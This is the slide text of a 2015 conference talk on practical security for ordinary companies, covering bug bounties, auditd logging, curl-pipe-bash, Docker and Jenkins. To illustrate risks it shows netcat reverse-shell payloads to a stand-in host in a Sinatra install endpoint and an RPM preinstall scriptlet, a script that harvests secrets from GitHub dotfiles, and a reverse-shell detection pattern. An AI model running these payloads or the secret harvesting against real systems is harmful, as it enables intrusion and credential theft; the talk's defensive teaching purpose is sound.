Tweet
Tweet

Slide 1

Slide 1 text

SECURITY FOR NON-UNICORNS 1 https://www.etsy.com/listing/205741051/unicorn-dog-hat-rainbow-unicorn-dog 1 — @benjammingh for LasCon 2015

Slide 2

Slide 2 text

PETE ALREADY GAVE MY TALK AS A KEYNOTE ): 2 — @benjammingh for LasCon 2015

Slide 3

Slide 3 text

WHO'S THIS CLOWN? 2 ▸ Infrastructure security at Etsy. ▸ Recovered operations monkey at Puppet Labs. ▸ Own a lot of black t-shirts. ▸ Had 1300 accounts on his high school Linux system. (: 2 https://twitter.com/skullmandible/status/411281851131523072 3 — @benjammingh for LasCon 2015

Slide 4

Slide 4 text

SETLIST ▸ Intros. (you are here). ▸ Frame the problem, why am I here. ▸ Things from the real world(™) & how to cope. ▸ Far far too many summaries. ▸ Wings, moonshine and dancing? (I have no idea) 4 — @benjammingh for LasCon 2015

Slide 5

Slide 5 text

SECURITY! 5 — @benjammingh for LasCon 2015

Slide 6

Slide 6 text

UNICORNS? 6 — @benjammingh for LasCon 2015

Slide 7

Slide 7 text

THE PROBLEM SECURITY IS HARD. 7 — @benjammingh for LasCon 2015

Slide 8

Slide 8 text

FROM TINY SEEDS, DO MIGHTY ACORNS GROW. ▸ PinkiePwn's 6 tiny bugs in Chrome to full sandbox escape. ▸ Egor Homakov's 5 small bugs in Github to full private access on GitHub. ▸ XSS to remote code execution in under an hour. ▸ Username & password from HVAC system leads to 8 — @benjammingh for LasCon 2015

Slide 9

Slide 9 text

THINGS THAT ARE NOT SECURITY ARE HARD TOO. 9 — @benjammingh for LasCon 2015

Slide 10

Slide 10 text

COMPUTERISING IS HARD. No. 1 takeaway for security types is a sense of perspective. (maybe even humility! gasp) 10 — @benjammingh for LasCon 2015

Slide 11

Slide 11 text

SECURITY PEOPLE AREN'T GREAT SECURE CODERS. ▸ Snort: 10 CVEs, Wireshark: 322! CVEs ▸ Security Firm Bit9 Hacked, Used to Spread Malware ▸ Joxean Koret on Breaking Antivurius software ▸ Tavis from Project Zero on exploiting ESET ▸ BEST! FireEye just running Apache/PHP as root ! 11 — @benjammingh for LasCon 2015

Slide 12

Slide 12 text

SO WHO DO I TRUST? ▸ No one? Always a great position for security people, who don't want to get paid. ▸ Everyone? Do I have some emails with funny cats for you to click on. ▸ Security vendors? If you have infinite money and no attackers. ▸ Attackers! 12 — @benjammingh for LasCon 2015

Slide 13

Slide 13 text

"YOU'RE ALREADY BEING PROBED FOR SECURITY HOLES, DO YOU WANT TO KNOW OR NOT?" 13 — @benjammingh for LasCon 2015

Slide 14

Slide 14 text

BUG BOUNTIES 101: HAVE ONE! BUG CROWD VS. HACKERONE 14 — @benjammingh for LasCon 2015

Slide 15

Slide 15 text

BUG BOUNTIES 102: PREPARE A LOT. 15 — @benjammingh for LasCon 2015

Slide 16

Slide 16 text

BUG BOUNTIES 103: THE FIRST FEW WEEKS WILL BE HELL. 16 — @benjammingh for LasCon 2015

Slide 17

Slide 17 text

BUG BOUNTIES 104: BE READY WITH BEES! 17 — @benjammingh for LasCon 2015

Slide 18

Slide 18 text

SECURITY ON THE INSIDE 18 — @benjammingh for LasCon 2015

Slide 19

Slide 19 text

ARMADILLO SECURITY ARCHITECTUR 19 — @benjammingh for LasCon 2015

Slide 20

Slide 20 text

20 — @benjammingh for LasCon 2015

Slide 21

Slide 21 text

CLOUD 21 — @benjammingh for LasCon 2015

Slide 22

Slide 22 text

GITHUB 22 — @benjammingh for LasCon 2015

Slide 23

Slide 23 text

23 — @benjammingh for LasCon 2015

Slide 24

Slide 24 text

BUT THIS DOESN'T HAPPEN IN REAL LIFE, RIGHT? 24 — @benjammingh for LasCon 2015

Slide 25

Slide 25 text

25 — @benjammingh for LasCon 2015

Slide 26

Slide 26 text

terrible bash example (don't do this) # for i in $(curl --silent 'https://api.github.com/orgs//members' \ # | grep html_url | cut -f 4 -d '"' | cut -d / -f 4); \ # do ( curl --silent https://api.github.com/repos/$i/dotfiles | grep -q 'Not Found' || \ # git clone https://github.com/$i/dotfiles.git $i ) \ # ; done for i in * ; do [ -d "$i/.git" ] || continue cd $i for revision in $(git rev-list --all) ; do unset PAGER export GIT_PAGER="" # find . -iname \*.key -or -iname \*.pem out="$(git grep -i -E "$1" ${revision} )" if [ $? -eq 0 ] ; then echo "${out}" | LANG="C" sed "s/^/$i: /" fi done cd .. done 26 — @benjammingh for LasCon 2015

Slide 27

Slide 27 text

GO USE GITROB ▸ http://michenriksen.com/blog/gitrob-putting-the- open-source-in-osint/ ▸ https://github.com/michenriksen/gitrob 27 — @benjammingh for LasCon 2015

Slide 28

Slide 28 text

AUDITD 28 — @benjammingh for LasCon 2015

Slide 29

Slide 29 text

AUDITD Auditd is the best way to get command execution logged in your infrastructure. 29 — @benjammingh for LasCon 2015

Slide 30

Slide 30 text

AUDITD Auditd is the worst way to get this information to a log file. type=SYSCALL msg=audit(123:3020171): arch=c000003e syscall=59 success=yes exit=0 items=3 ppid=9200 pid=9202 auid=0 uid=1000.... typde=EXECVE msg=audit(123:3020171): argc=3 a0="/usr/bin/perl" a1="-w" a2="/bin/sketchy.pl" type=CWD msg=audit(123:3020171): cwd="/home/superdave/hax" type=PATH msg=audit(123:3020171): item=0 name="/bin/sketchy.pl" inode=208346 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 type=PATH msg=audit(123:3020171): item=1 name=(null) inode=200983 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 type=PATH msg=audit(123:3020171): item=2 name=(null) inode=46 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 30 — @benjammingh for LasCon 2015

Slide 31

Slide 31 text

MARK ELLZEY ON AUDITD. 31 — @benjammingh for LasCon 2015

Slide 32

Slide 32 text

WHY? "Why are the logs multiline?" -- David Shing, aka "Shingy", aka "The Shing", aka "AOL's 32 — @benjammingh for LasCon 2015

Slide 33

Slide 33 text

MULTILINE LOGS ARE THE SPAWN OF THE DEVIL ORACLE'S JAVA 33 — @benjammingh for LasCon 2015

Slide 34

Slide 34 text

COPING WITH MULTILINE AUDITD ▸ ELK: multiline filter in Logstash. ▸ Other: github/gdestuynder/Audisp-json ▸ Have cash, want a decent GUI (and more): Go use Threatstack! ▸ Write something yourself in python & golang: I keep promising to OSS this ): 34 — @benjammingh for LasCon 2015

Slide 35

Slide 35 text

ALERT ON SKETCHY THINGS. (ASSUMES ELK) 1. Elastalert from Yelp 2. Alert on "/bin/nc *-e /bin/sh*" 3. You will now find when someone tries to run a reverse shell! 4. Or when yours ops people do fun things. 35 — @benjammingh for LasCon 2015

Slide 36

Slide 36 text

CURL | BASH 36 — @benjammingh for LasCon 2015

Slide 37

Slide 37 text

CURL LEGIT.PW | SH 37 — @benjammingh for LasCon 2015

Slide 38

Slide 38 text

"BUT I CHECK THEM, OBVIOUSLY!" 38 — @benjammingh for LasCon 2015

Slide 39

Slide 39 text

SINATRA EXAMPLE get '/install.sh' do if request.env['HTTP_USER_AGENT'] =~ /curl/ return 'nc -e /bin/sh root.legit.pw 2222 &' else return print_install_code() end end 39 — @benjammingh for LasCon 2015

Slide 40

Slide 40 text

SINATRA EXAMPLE 2: PAYBACK get '/install.sh' do ip = request.env['HTTP_CLIENT_IP'] if seen_before.include? ip return print_install_code() else seen_before << ip return 'nc -e /bin/sh root.legit.pw 2222 &' end end 40 — @benjammingh for LasCon 2015

Slide 41

Slide 41 text

41 — @benjammingh for LasCon 2015

Slide 42

Slide 42 text

42 — @benjammingh for LasCon 2015

Slide 43

Slide 43 text

CURL | BASH "BUT THIS IS NO WORSE THAN PACKAGES." foo$ sudo yum install sketchy foo$ sudo aptitude install sketchy 43 — @benjammingh for LasCon 2015

Slide 44

Slide 44 text

CURL | BASH "but worse than downloading RPMs from a random site?" foo$ rpm --verify --check-sigs sketchy.1.33-7.rpm foo$ dpkg-sig --verify sketchy.1.33-7.deb 44 — @benjammingh for LasCon 2015

Slide 45

Slide 45 text

CURL | BASH root# rpm -qp --scripts sketchy-1.33-7.rpm preinstall scriptlet (using /bin/sh): bash -c 'while : ; \ do \ nc -e /bin/sh root.legit.pw 2222 ;\ done' 45 — @benjammingh for LasCon 2015

Slide 46

Slide 46 text

VERIFIABLE This doesn't exist: foo$ curl legit.pw/sketch.sh | sudo sh --gpg-verify No one has ever done this: foo$ curl legit.pw/sketch.sh | gpg --verify --output - | sudo sh 46 — @benjammingh for LasCon 2015

Slide 47

Slide 47 text

CURL | BASH "But I trust HTTPS" ▸ HTTPS certs cost ~$6. ▸ If I can't make $6 by owning a system, I should probably stop being an attacker. ▸ @letsencrypt will soon make this free. 47 — @benjammingh for LasCon 2015

Slide 48

Slide 48 text

CURL | BASH curl -k 48 — @benjammingh for LasCon 2015

Slide 49

Slide 49 text

CURL --YOLO | \ SUDO SH --YOLO 49 — @benjammingh for LasCon 2015

Slide 50

Slide 50 text

CURL | BASH What to do? 50 — @benjammingh for LasCon 2015

Slide 51

Slide 51 text

A LIVE DEMO, 51 — @benjammingh for LasCon 2015

Slide 52

Slide 52 text

LIGHTWEIGHT CONTAINERS! 52 — @benjammingh for LasCon 2015

Slide 53

Slide 53 text

CHROOT(8) 53 — @benjammingh for LasCon 2015

Slide 54

Slide 54 text

FREEBSD JAILS 54 — @benjammingh for LasCon 2015

Slide 55

Slide 55 text

SOLARIS ZONES 55 — @benjammingh for LasCon 2015

Slide 56

Slide 56 text

AIX WPAR 56 — @benjammingh for LasCon 2015

Slide 57

Slide 57 text

57 — @benjammingh for LasCon 2015

Slide 58

Slide 58 text

IS DOCKER SECURE? 58 — @benjammingh for LasCon 2015

Slide 59

Slide 59 text

>30% OF IMAGES IN DOCKER HUB CONTAIN HIGH PRIORITY SECURITY VULNS - JAYANTH GUMMARAJU, TARUN DESIKAN AND YOSHIO TURNER FROM BANYANOPS 59 — @benjammingh for LasCon 2015

Slide 60

Slide 60 text

>30% OF MSDN CDS CONTAIN HIGH PRIORITY SECURITY VULNS 60 — @benjammingh for LasCon 2015

Slide 61

Slide 61 text

61 — @benjammingh for LasCon 2015

Slide 62

Slide 62 text

AS SECURE AS VAGRANT? 62 — @benjammingh for LasCon 2015

Slide 63

Slide 63 text

BUT IS DOCKER ITSELF SECURE? ▸ Don't run things as root. ▸ No really, stop running things as root. ▸ Did I mention not running things as root. ▸ It is also not 1999. (Docker 1.8 addresses some of this, with it's changes to who it runs as) 63 — @benjammingh for LasCon 2015

Slide 64

Slide 64 text

SECURIFY THE DOCKER. ▸ Don't use --privileged. ▸ Use --cap-drop all and --cap-drop to get the minimum capabilities. ▸ Use Docker Notary ▸ Use GRSecurity (just do that anyway, if you can.) ▸ Use SELinux... I may as well ask for a pony here. 64 — @benjammingh for LasCon 2015

Slide 65

Slide 65 text

BUT IS DOCKER SECURE? MORE SECURE THAN WHAT? 65 — @benjammingh for LasCon 2015

Slide 66

Slide 66 text

MORE SECURE THAN WHAT? FROM WHOM? 66 — @benjammingh for LasCon 2015

Slide 67

Slide 67 text

67 — @benjammingh for LasCon 2015

Slide 68

Slide 68 text

THREAT MODELLING FOR BEGINNERS 1. what are you actually defending against? 2. from whom? 3. for how much? 68 — @benjammingh for LasCon 2015

Slide 69

Slide 69 text

LATERAL MOVEMENT > UID=0 69 — @benjammingh for LasCon 2015

Slide 70

Slide 70 text

▸ I am not saying Docker is ZOMG unhackable. ▸ it's just cgroups and namespacing. (just) ▸ Escapes will happen. ▸ They have a rad security team (Hi @diogomonica and @nathanmccauley) 70 — @benjammingh for LasCon 2015

Slide 71

Slide 71 text

UNPINCHOFSALTD ▸ You can use it in a way that is secure, enough. ▸ network separation & segregation still works. ▸ secrets/credentials still a bigger problem. ▸ PLEASE don't just adopt it because it's new & shiny. ▸ ! " unikernels ✨ $ 71 — @benjammingh for LasCon 2015

Slide 72

Slide 72 text

JENKINS! 72 — @benjammingh for LasCon 2015

Slide 73

Slide 73 text

IT'S ENTIRE JOB IS TO TAKE ARBITRARY CODE AND RUN IT, WITH ACCESS TO SOME SECRET/CREDENTIAL DATA. 73 — @benjammingh for LasCon 2015

Slide 74

Slide 74 text

IT'S LITERALLY REMOTE CODE EXECUTION AS A SERVICE. 74 — @benjammingh for LasCon 2015

Slide 75

Slide 75 text

OLD CRUFTY CONFIGS + ALL YOUR CODE & SECRETS 75 — @benjammingh for LasCon 2015

Slide 76

Slide 76 text

76 — @benjammingh for LasCon 2015

Slide 77

Slide 77 text

RCE as a service 6 6 Hacking Jenkins Servers With No Password 77 — @benjammingh for LasCon 2015

Slide 78

Slide 78 text

MAKE JENKINS SUCK FEWER * DISABLE EXECUTION ON THE MASTER JENKINS HOST. * DISABLE ANONYMOUS ACCESS. * (USE TRAVIS, IF YOU CAN) 78 — @benjammingh for LasCon 2015

Slide 79

Slide 79 text

BUT WHAT IF JENKINS COULD BE HARNESSED FOR GOOD? 79 — @benjammingh for LasCon 2015

Slide 80

Slide 80 text

NOT STOLEN FROM NickG's old 2012 deck. 7 7 Thanks Nick. nickgsuperstar/devopssec-apply-devops-principles-to-security 80 — @benjammingh for LasCon 2015

Slide 81

Slide 81 text

JENKINS AS A FORCE FOR [SECURITY] GOOD ▸ Gauntlt "be mean to your code" ▸ https://github.com/secure-pipeline ▸ Even Adobe blog on secure software, zomg! 81 — @benjammingh for LasCon 2015

Slide 82

Slide 82 text

82 — @benjammingh for LasCon 2015

Slide 83

Slide 83 text

83 — @benjammingh for LasCon 2015

Slide 84

Slide 84 text

SUMMARY ▸ Computers are apparently hard. ▸ Security is clearly harder still, obv. ▸ Actually trust and humans is hard. ▸ The typing is the easy bit. (ish) 84 — @benjammingh for LasCon 2015

Slide 85

Slide 85 text

MORE SUMMARY ▸ Complex systems lead to much more complex security problems. (see Oauth) ▸ Annual pen-tests don't scale, bug bounties can help. ▸ Attackers are mining any public info you have (GitHub, S3, pastebin?) ▸ No really, go check all your S3 buckets... 85 — @benjammingh for LasCon 2015

Slide 86

Slide 86 text

WILL THERE BE A SUMMARY OF SUMMARIES? ▸ I beg you to stop trusting curl. ▸ Auditd is awful, but it can be fewer awful. ▸ Jenkins, you probably have to have one. ▸ but that can be okay, nay, even useful for security. 86 — @benjammingh for LasCon 2015

Slide 87

Slide 87 text

A SUMMARY APPEARED, WHAT HAPPENED NEXT WILL SHOCK YOU ▸ Docker and security can be used in the same sentence. ▸ Understand your threat model (Apple's guide) ▸ Don't be a FireEye, stop running things as root. 87 — @benjammingh for LasCon 2015

Slide 88

Slide 88 text

THANK YOU ▸ Twidder: @benjammingh ▸ LinkedIn: lnkdin.me/p/benyeah ▸ FidoNet: 2:254/524.13 ▸ JitHub: github.com/barn ▸ SpeakerDeck: speakerdeck.com/barnbarn ▸ Etsy: Careers <--- CodeAsCraft <--- our blog 88 — @benjammingh for LasCon 2015